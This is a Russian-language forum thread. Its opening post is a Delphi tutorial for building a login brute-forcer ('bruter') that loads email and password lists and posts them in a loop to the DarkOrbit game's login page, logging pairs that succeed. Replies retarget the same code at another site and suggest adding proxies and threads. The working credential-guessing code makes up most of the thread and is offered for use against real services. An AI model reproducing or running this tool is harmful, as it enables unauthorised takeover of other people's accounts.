И так хочу сразу предупредить брутер будет у нас однопоточный и без прокси.
В данном примере я покажу как сделать брутер для браузерной игры "DarkOrbit"([Ссылки могут видеть только зарегистрированные пользователи. ]).
Кидаем на форму 3 компонента button, 1 компонент TIdHTTP,1 компонент openDialog и memo.
Переименуем и роз формируем их так как у меня на скрине:
[Ссылки могут видеть только зарегистрированные пользователи. ]
в глобальных переменных напишем:
Код:
emails,pass:tstringlist; // список ников и паролей
j,i:integer;
Кастуем дабл клик на "LOGINS "
и пишем такой код:
Код:
begin
OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
if OpenDialog1.Execute then
begin
eMails.LoadFromFile(OpenDialog1.FileName);
end;
end;
Дальше 2 раза кликаем на кнопку "PASS"
и пишем такой код:
Код:
begin
OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
if OpenDialog1.Execute then
begin
Pass.LoadFromFile(OpenDialog1.FileName);
end;
end;
А теперь приступим к самому бруту !
Дабл клик на кнопку "Старт" и пишем вот такой код:
Код:
var
ssylka,result:string; //думаю тут все
post:tstringlist; //понятно
begin
ssylka:='http://www.darkorbit.ru/?locale=ru&aid=0'; //здесь указываем ссылку на сайт который будем брутить
post:=tstringlist.Create; // создаем лист
for i:=0 to emails.Count-1 do begin // проверяем,формируем
post.Clear;
post.Add('loginForm_default_username='+emails[i]); //сниффером смотрим наши значения авторизации
for j:=0 to pass.Count-1 do begin // проверяем,формируем
post.Add('loginForm_default_password='+pass[j]);
post.Add('loginForm_default_login_submit=Вход');
result:=form5.idhttp1.Post(ssylka,post); //присваиваем пост запрос
if pos('selectInstanceHint',result)<>0 then //если программа спарсит значения 'selectInstanceHint' то мы что то збрутили
form1.Memo1.Lines.Add(PChar('Логин:'+Emails.Strings[i]+' Пароль:'+Pass.Strings[j])); выводим то что збрутили в memo
end;
end;
end;
Ну вот и все на этом брут готов,осталось добавить прокси и потоки и у вас полноценный брутер )
var
curacc:integer;
facc,fpas:string;
accounts:tstringlist;
begin
FAcc:= Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1);
FPas:= Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc]));
if pos('var menu_send',result)<>0 then //если программа спарсит значения 'selectInstanceHint' то мы что то збрутили begin Memo1.Lines.Add(PChar('Логин:'+Emails.Strings[i]+' Пароль:'+Pass.Strings[j])); //выводим то что збрутили в memo end;
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
procedure TBrute.Button1Click(Sender: TObject); begin OpenDialog1.InitialDir:=ExtractFilePath(Applicatio n.ExeName); if OpenDialog1.Execute then begin Memo2.lines.LoadFromFile(OpenDialog1.FileName); label3.Caption:=inttostr(Memo2.Lines.Count); emails.LoadFromFile(OpenDialog1.FileName); end;
напиши 2 отдельные процедуры,1 процедура авторизации:
Код:
ssylka:='http://nowfilms.ru/index.php';
post:=tstringlist.Create;
for i:=0 to emails.Count-1 do begin
post.Clear;
post.Add('login_name='+emails[i]);
for j:=0 to pass.Count-1 do begin
post.Add('login_password='+pass[j]);
post.Add('login=submit');
result:=form1.idhttp1.Post(ssylka,post);
if pos('var menu_send',result)<>0 then
Synchronize(ShowResult);
у формы в onCreat поставь
emails:=tstringlist.Create;
pass:=tstringlist.Create;
тогда при нажатии на кнопку logins и pass ошибки не будет
Плохой вариант.
В процедуре Button1Click в код условия добавь
Код:
emails:=TStringList.Create;
В процедуре Button2Click в код условия добавь
Код:
pass:=TStringList.Create;
В процедуре Button2Click в конец добавь
Код:
emails.Free;
pass.Free;
________________
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий). пишет отсюда, когда сидит с мобильного телефона. Привязка по ІР Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
Да тем, что он не верный. Стринглист вечно висит в памяти, а это не ок.
________________
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий). пишет отсюда, когда сидит с мобильного телефона. Привязка по ІР Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий). пишет отсюда, когда сидит с мобильного телефона. Привязка по ІР Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий). пишет отсюда, когда сидит с мобильного телефона. Привязка по ІР Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).